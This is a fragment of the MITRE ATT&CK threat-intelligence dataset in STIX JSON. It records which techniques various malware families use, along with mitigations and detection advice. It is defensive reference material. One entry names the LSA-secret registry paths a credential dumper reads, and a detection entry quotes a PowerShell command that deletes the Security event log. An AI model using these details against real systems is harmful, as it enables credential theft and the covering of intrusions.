"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--21900cf5-72e2-4661-b137-0753710b4f9d", "created": "2022-02-01T16:26:43.431Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "McAfee Lazarus Nov 2020", "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/operation-north-star-behind-the-scenes/", "description": "Beek, C. (2020, November 5). Operation North Star: Behind The Scenes. Retrieved December 20, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Torisma](https://attack.mitre.org/software/S0678) can send victim data to an actor-controlled C2 server.(Citation: McAfee Lazarus Nov 2020)", "modified": "2022-04-13T20:36:05.653Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--0715560d-4299-4e84-9e20-6e80ab57e4f2", "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--21907ead-e794-49fd-aa4b-df2c51cdc599", "type": "relationship", "created": "2020-10-19T23:54:29.932Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cisco Blog Legacy Device Attacks", "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954", "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020."}], "modified": "2020-10-22T01:54:23.154Z", "description": "Keep system images and software updated and migrate to SNMPv3.(Citation: Cisco Blog Legacy Device Attacks)", "relationship_type": "mitigates", "source_ref": "course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b", "target_ref": "attack-pattern--ee7ff928-801c-4f34-8a99-3df965e581a5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--219dcd0b-a6fe-47d4-99b9-24d945b1f168", "type": "relationship", "created": "2020-03-17T13:31:00.273Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Trend Micro Banking Malware Jan 2019", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/new-banking-malware-uses-network-sniffing-for-data-theft/", "description": "Salvio, J.. (2014, June 27). New Banking Malware Uses Network Sniffing for Data Theft. Retrieved March 25, 2019."}, {"description": "Lee, S.. (2019, April 24). Emotet Using WMI to Launch PowerShell Encoded Code. Retrieved May 24, 2019.", "url": "https://www.carbonblack.com/2019/04/24/cb-tau-threat-intelligence-notification-emotet-utilizing-wmi-to-launch-powershell-encoded-code/", "source_name": "Carbon Black Emotet Apr 2019"}, {"source_name": "IBM IcedID November 2017", "url": "https://securityintelligence.com/new-banking-trojan-icedid-discovered-by-ibm-x-force-research/", "description": "Kessem, L., et al. (2017, November 13). New Banking Trojan IcedID Discovered by IBM X-Force Research. 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Retrieved June 16, 2022."}, {"source_name": "ClearSky Siamesekitten August 2021", "url": "https://www.clearskysec.com/siamesekitten/", "description": "ClearSky Cyber Security . (2021, August). New Iranian Espionage Campaign By \u201cSiamesekitten\u201d - Lyceum. Retrieved June 6, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Shark](https://attack.mitre.org/software/S1019) can collect the GUID of a targeted machine.(Citation: ClearSky Siamesekitten August 2021)(Citation: Accenture Lyceum Targets November 2021)", "modified": "2022-06-16T15:22:37.470Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--99854cc8-f202-4e03-aa0a-4f8a4af93229", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--21f6253e-77e6-47ee-a9bb-c4900d871727", "type": "relationship", "created": "2022-03-30T14:26:51.875Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.875Z", "description": "Monitor for changes made to detect changes to files in the Web directory for organization login pages that do not match with authorized updates to the Web server's content.", "source_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", "target_ref": "attack-pattern--69e5226d-05dc-4f15-95d7-44f5ed78d06e", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--21f9567c-18c5-41b2-9b57-bb2c039b5293", "type": "relationship", "created": "2020-01-24T17:35:47.843Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-01-24T17:35:47.843Z", "relationship_type": "revoked-by", "source_ref": "attack-pattern--6c174520-beea-43d9-aac6-28fb77f3e446", "target_ref": "attack-pattern--5095a853-299c-4876-abd7-ac0050fb5462", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--21fa2533-b082-408b-857c-ad6d85a74238", "created": "2022-07-26T20:33:50.734Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "CrowdStrike IceApple May 2022", "url": "https://www.crowdstrike.com/wp-content/uploads/2022/05/crowdstrike-iceapple-a-novel-internet-information-services-post-exploitation-framework.pdf", "description": "CrowdStrike. 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Retrieved June 27, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[IceApple](https://attack.mitre.org/software/S1022)'s Credential Dumper module can dump LSA secrets from registry keys, including: `HKLM\\SECURITY\\Policy\\PolEKList\\default`, `HKLM\\SECURITY\\Policy\\Secrets\\*\\CurrVal`, and `HKLM\\SECURITY\\Policy\\Secrets\\*\\OldVal`.(Citation: CrowdStrike IceApple May 2022)", "modified": "2022-07-26T20:33:50.734Z", "relationship_type": "uses", "source_ref": "malware--dd889a55-fb2c-4ec7-8e9f-c399939a49e1", "target_ref": "attack-pattern--1ecfdab8-7d59-4c98-95d4-dc41970f57fc", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--21fdaa87-7b0e-4ad9-a612-c4d2ec8789d7", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Microsoft PLATINUM April 2016", "description": "Windows Defender Advanced Threat Hunting Team. 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(2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. 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(2016, February 9). Poseidon Group: a Targeted Attack Boutique specializing in global cyber-espionage. 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Retrieved December 2, 2020."}], "modified": "2021-09-13T18:33:56.410Z", "description": "[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) can collect the network interface MAC address on the infected host.(Citation: TrendMicro MacOS April 2018)(Citation: Trend Micro MacOS Backdoor November 2020)", "relationship_type": "uses", "source_ref": "malware--b00f90b6-c75c-4bfd-b813-ca9e6c9ebf29", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2209a958-9359-4866-80e9-80d0cc660868", "type": "relationship", "created": "2019-04-17T18:43:36.389Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Check Point Research. (2019, February 4). SpeakUp: A New Undetected Backdoor Linux Trojan. Retrieved April 17, 2019.", "url": "https://research.checkpoint.com/speakup-a-new-undetected-backdoor-linux-trojan/", "source_name": "CheckPoint SpeakUp Feb 2019"}], "modified": "2020-03-19T17:09:03.651Z", "description": "[SpeakUp](https://attack.mitre.org/software/S0374) uses Python scripts.(Citation: CheckPoint SpeakUp Feb 2019)", "relationship_type": "uses", "source_ref": "malware--a5575606-9b85-4e3d-9cd2-40ef30e3672d", "target_ref": "attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--2211dd80-6ab2-4d3b-90fd-3ae19e75b64f", "created": "2022-10-04T21:41:05.083Z", "revoked": false, "external_references": [{"source_name": "Mandiant UNC3890 Aug 2022", "description": "Mandiant Israel Research Team. (2022, August 17). Suspected Iranian Actor Targeting Israeli Shipping, Healthcare, Government and Energy Sectors. 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(2021, April). Technical Analysis of Cuba Ransomware. Retrieved June 18, 2021."}], "modified": "2021-06-21T18:31:00.977Z", "description": "[Cuba](https://attack.mitre.org/software/S0625) has the ability to encrypt system data and add the \".cuba\" extension to encrypted files.(Citation: McAfee Cuba April 2021) ", "relationship_type": "uses", "source_ref": "malware--6cd07296-14aa-403d-9229-6343d03d4752", "target_ref": "attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--221d9c96-0042-4354-8475-4cc7d0437254", "type": "relationship", "created": "2020-08-04T19:13:50.028Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cylance Sodinokibi July 2019", "url": "https://threatvector.cylance.com/en_us/home/threat-spotlight-sodinokibi-ransomware.html", "description": "Cylance. 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Retrieved August 4, 2020."}], "modified": "2020-08-04T19:13:50.028Z", "description": "[REvil](https://attack.mitre.org/software/S0496) can connect to and disable the Symantec server on the victim's network.(Citation: Cylance Sodinokibi July 2019)", "relationship_type": "uses", "source_ref": "malware--ac61f1f9-7bb1-465e-9b8a-c2ce8e88baf5", "target_ref": "attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--22215706-6254-4c24-8ca0-39a770b23ec9", "created": "2022-03-30T14:26:51.837Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-08-23T21:18:33.808Z", "description": "Monitor executed commands and arguments for actions that would delete Windows event logs (via PowerShell) such as <code>Remove-EventLog -LogName Security</code>.\n\nNote: Event ID 4104 (from the Microsoft-Windows-Powershell/Operational log) captures Powershell script blocks, which can be analyzed and used to detect on attempts to Clear Windows Event Logs. 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Monitor for suspicious sequences of events, such as the creation of multiple snapshots within a short period of time. To reduce false positives, valid change management procedures could introduce a known identifier that is logged with the change (e.g., tag or header) if supported by the cloud provider, to help distinguish valid, expected actions from malicious ones.", "source_ref": "x-mitre-data-component--3da222e6-53f3-451c-a239-0b405c009432", "target_ref": "attack-pattern--144e007b-e638-431d-a894-45d90c54ab90", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--22260fda-fb95-4cf4-9e23-ba8662157c1f", "type": "relationship", "created": "2019-01-29T21:40:37.818Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Zscaler Cobian Aug 2017", "url": "https://www.zscaler.com/blogs/research/cobian-rat-backdoored-rat", "description": "Yadav, A., et al. (2017, August 31). Cobian RAT \u2013 A backdoored RAT. Retrieved November 13, 2018."}], "modified": "2019-04-23T21:09:54.750Z", "description": "[Cobian RAT](https://attack.mitre.org/software/S0338) creates an autostart Registry key to ensure persistence.(Citation: Zscaler Cobian Aug 2017)", "relationship_type": "uses", "source_ref": "malware--aa1462a1-d065-416c-b354-bedd04998c7f", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2227a2ce-2eda-4fe3-a9ca-524e0de0ded2", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 DarkHydrus July 2018", "description": "Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/"}, {"source_name": "Unit42 DarkHydrus Jan 2019", "url": "https://unit42.paloaltonetworks.com/darkhydrus-delivers-new-trojan-that-can-use-google-drive-for-c2-communications/", "description": "Lee, B., Falcone, R. (2019, January 18). DarkHydrus delivers new Trojan that can use Google Drive for C2 communications. Retrieved April 17, 2019."}], "modified": "2019-04-24T23:55:43.269Z", "description": "[RogueRobin](https://attack.mitre.org/software/S0270) can save a new file to the system from the C2 server.(Citation: Unit 42 DarkHydrus July 2018)(Citation: Unit42 DarkHydrus Jan 2019)", "relationship_type": "uses", "source_ref": "malware--8ec6e3b4-b06d-4805-b6aa-af916acc2122", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--222ce94a-bb33-476b-b4c3-56b529d9af03", "type": "relationship", "created": "2020-05-12T21:44:41.020Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FOX-IT May 2016 Mofang", "url": "https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf", "description": "Yonathan Klijnsma. (2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020."}], "modified": "2020-05-15T18:47:04.397Z", "description": "[ShimRatReporter](https://attack.mitre.org/software/S0445) gathered a list of installed software on the infected host.(Citation: FOX-IT May 2016 Mofang)", "relationship_type": "uses", "source_ref": "tool--115f88dd-0618-4389-83cb-98d33ae81848", "target_ref": "attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--222fdbe3-5833-4be9-aa45-b85087606dc1", "created": "2022-10-11T18:44:48.650Z", "revoked": false, "external_references": [{"source_name": "Cybereason StrifeWater Feb 2022", "description": "Cybereason Nocturnus. (2022, February 1). StrifeWater RAT: Iranian APT Moses Staff Adds New Trojan to Ransomware Operations. Retrieved August 15, 2022.", "url": "https://www.cybereason.com/blog/research/strifewater-rat-iranian-apt-moses-staff-adds-new-trojan-to-ransomware-operations"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-11T18:44:48.650Z", "description": "[StrifeWater](https://attack.mitre.org/software/S1034) can use a variety of APIs for execution.(Citation: Cybereason StrifeWater Feb 2022)", "relationship_type": "uses", "source_ref": "malware--fb78294a-7d7a-4d38-8ad0-92e67fddc9f0", "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--22301618-a676-4d94-975a-2a56e5a7f919", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "F-Secure CozyDuke", "description": "F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015.", "url": "https://www.f-secure.com/documents/996508/1030745/CozyDuke"}], "modified": "2020-11-23T17:03:38.524Z", "description": "[CozyCar](https://attack.mitre.org/software/S0046)'s main method of communicating with its C2 servers is using HTTP or HTTPS.(Citation: F-Secure CozyDuke)", "relationship_type": "uses", "source_ref": "malware--e6ef745b-077f-42e1-a37d-29eecff9c754", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--223a75cd-eb8f-4477-b4c3-e2a4e651d875", "type": "relationship", "created": "2021-07-30T15:54:30.815Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Bishop Fox Sliver Framework August 2019", "url": "https://labs.bishopfox.com/tech-blog/sliver", "description": "Kervella, R. (2019, August 4). Cross-platform General Purpose Implant Framework Written in Golang. Retrieved July 30, 2021."}, {"source_name": "GitHub Sliver C2", "url": "https://github.com/BishopFox/sliver/", "description": "BishopFox. (n.d.). Sliver. Retrieved September 15, 2021."}], "modified": "2021-09-16T20:22:34.703Z", "description": "[Sliver](https://attack.mitre.org/software/S0633) can inject code into local and remote processes.(Citation: Bishop Fox Sliver Framework August 2019)(Citation: GitHub Sliver C2)", "relationship_type": "uses", "source_ref": "tool--11f8d7eb-1927-4806-9267-3a11d4d4d6be", "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--223b8d4b-97e9-4581-91aa-a599fb787309", "type": "relationship", "created": "2020-06-29T01:50:21.819Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Kaspersky Regin", "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, November 24). THE REGIN PLATFORM NATION-STATE OWNAGE OF GSM NETWORKS. Retrieved December 1, 2014.", "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08070305/Kaspersky_Lab_whitepaper_Regin_platform_eng.pdf"}], "modified": "2020-06-29T01:54:53.487Z", "description": "[Regin](https://attack.mitre.org/software/S0019) has used a hidden file system to store some of its components.(Citation: Kaspersky Regin)", "relationship_type": "uses", "source_ref": "malware--4c59cce8-cb48-4141-b9f1-f646edfaadb0", "target_ref": "attack-pattern--dfebc3b7-d19d-450b-81c7-6dafe4184c04", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2243acac-6401-41df-b658-2a36f7977d15", "type": "relationship", "created": "2020-07-23T14:20:48.669Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Trustwave GoldenSpy June 2020", "url": "https://www.trustwave.com/en-us/resources/library/documents/the-golden-tax-department-and-the-emergence-of-goldenspy-malware/", "description": "Trustwave SpiderLabs. (2020, June 25). The Golden Tax Department and Emergence of GoldenSpy Malware. Retrieved July 23, 2020."}], "modified": "2020-08-19T16:31:40.661Z", "description": "[GoldenSpy](https://attack.mitre.org/software/S0493) has used HTTP over ports 9005 and 9006 for network traffic, 9002 for C2 requests, 33666 as a WebSocket, and 8090 to download files.(Citation: Trustwave GoldenSpy June 2020)", "relationship_type": "uses", "source_ref": "malware--b9704a7d-feef-4af9-8898-5280f1686326", "target_ref": "attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--2244e21e-b7f6-476f-8f58-67db772f9736", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Mandiant APT1 Appendix", "description": "Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.", "url": "https://www.mandiant.com/sites/default/files/2021-09/mandiant-apt1-report.pdf"}, {"source_name": "Mandiant APT1", "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-12-26T19:55:54.856Z", "description": "The [CALENDAR](https://attack.mitre.org/software/S0025) malware communicates through the use of events in Google Calendar.(Citation: Mandiant APT1)(Citation: Mandiant APT1 Appendix)", "relationship_type": "uses", "source_ref": "malware--5a84dc36-df0d-4053-9b7c-f0c388a57283", "target_ref": "attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--22501b39-e106-4a7f-b915-013c30f47af8", "type": "relationship", "created": "2020-06-26T04:01:09.881Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-10-17T14:48:33.917Z", "description": "Integrating multi-factor authentication (MFA) as part of organizational policy can greatly reduce the risk of an adversary gaining control of valid credentials that may be used for additional tactics such as initial access, lateral movement, and collecting information.", "relationship_type": "mitigates", "source_ref": "course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0", "target_ref": "attack-pattern--06c00069-771a-4d57-8ef5-d3718c1a8771", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--22502e6f-8365-49ea-bb94-f46a98f2643b", "type": "relationship", "created": "2021-09-28T01:36:41.944Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-09-28T01:36:41.944Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--ffbcfdb0-de22-4106-9ed3-fc23c8a01407", "target_ref": "attack-pattern--457c7820-d331-465a-915e-42f85500ccc4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--22507af4-0701-4ebe-99b1-153cf803f829", "type": "relationship", "created": "2021-09-24T16:42:46.836Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "NCC Group WastedLocker June 2020", "url": "https://research.nccgroup.com/2020/06/23/wastedlocker-a-new-ransomware-variant-developed-by-the-evil-corp-group/", "description": "Antenucci, S., Pantazopoulos, N., Sandee, M. (2020, June 23). WastedLocker: A New Ransomware Variant Developed By The Evil Corp Group. Retrieved September 14, 2021."}], "modified": "2021-09-27T17:36:38.629Z", "description": "[WastedLocker](https://attack.mitre.org/software/S0612) has copied a random file from the Windows System32 folder to the <code>%APPDATA%</code> location under a different hidden filename.(Citation: NCC Group WastedLocker June 2020)", "relationship_type": "uses", "source_ref": "malware--46cbafbc-8907-42d3-9002-5327c26f8927", "target_ref": "attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2251345d-d828-4768-b8f0-4a4ddd8e41ca", "type": "relationship", "created": "2021-02-25T13:38:55.719Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Bleeping Computer - Ryuk WoL", "url": "https://www.bleepingcomputer.com/news/security/ryuk-ransomware-uses-wake-on-lan-to-encrypt-offline-devices/", "description": "Abrams, L. (2021, January 14). Ryuk Ransomware Uses Wake-on-Lan To Encrypt Offline Devices. Retrieved February 11, 2021."}], "modified": "2021-02-25T13:38:55.719Z", "description": "[Ryuk](https://attack.mitre.org/software/S0446) has used the C$ network share for lateral movement.(Citation: Bleeping Computer - Ryuk WoL)", "relationship_type": "uses", "source_ref": "malware--a020a61c-423f-4195-8c46-ba1d21abba37", "target_ref": "attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2251e15a-5b62-408d-b6a0-01aa8e2677b3", "type": "relationship", "created": "2019-01-31T00:36:41.019Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Rascagneres, P. (2017, May 03). KONNI: A Malware Under The Radar For Years. Retrieved November 5, 2018.", "url": "https://blog.talosintelligence.com/2017/05/konni-malware-under-radar-for-years.html", "source_name": "Talos Konni May 2017"}], "modified": "2019-07-26T18:47:19.488Z", "description": "[KONNI](https://attack.mitre.org/software/S0356) can collect the IP address from the victim\u2019s machine.(Citation: Talos Konni May 2017)", "relationship_type": "uses", "source_ref": "malware--86b92f6c-9c05-4c51-b361-4c7bb13e21a1", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--225ab1b4-f800-4a92-9949-a0f05fce6213", "type": "relationship", "created": "2019-06-21T16:28:45.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-01-05T21:40:28.429Z", "description": "Application control may be able to prevent the running of executables masquerading as other files.", "relationship_type": "mitigates", "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", "target_ref": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--225f57e8-5001-4f20-b610-b62faf650fc9", "created": "2024-03-25T21:22:26.803Z", "revoked": false, "external_references": [{"source_name": "CISA Scattered Spider Advisory November 2023", "description": "CISA. (2023, November 16). Cybersecurity Advisory: Scattered Spider (AA23-320A). Retrieved March 18, 2024.", "url": "https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-320a"}, {"source_name": "MSTIC Octo Tempest Operations October 2023", "description": "Microsoft. (2023, October 25). Octo Tempest crosses boundaries to facilitate extortion, encryption, and destruction. Retrieved March 18, 2024.", "url": "https://www.microsoft.com/en-us/security/blog/2023/10/25/octo-tempest-crosses-boundaries-to-facilitate-extortion-encryption-and-destruction/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-25T21:22:26.803Z", "description": "[Scattered Spider](https://attack.mitre.org/groups/G1015) leverages legitimate domain accounts to gain access to the target environment.(Citation: CISA Scattered Spider Advisory November 2023)(Citation: MSTIC Octo Tempest Operations October 2023)", "relationship_type": "uses", "source_ref": "intrusion-set--44d37b89-a739-4810-9111-0d2617a8939b", "target_ref": "attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", 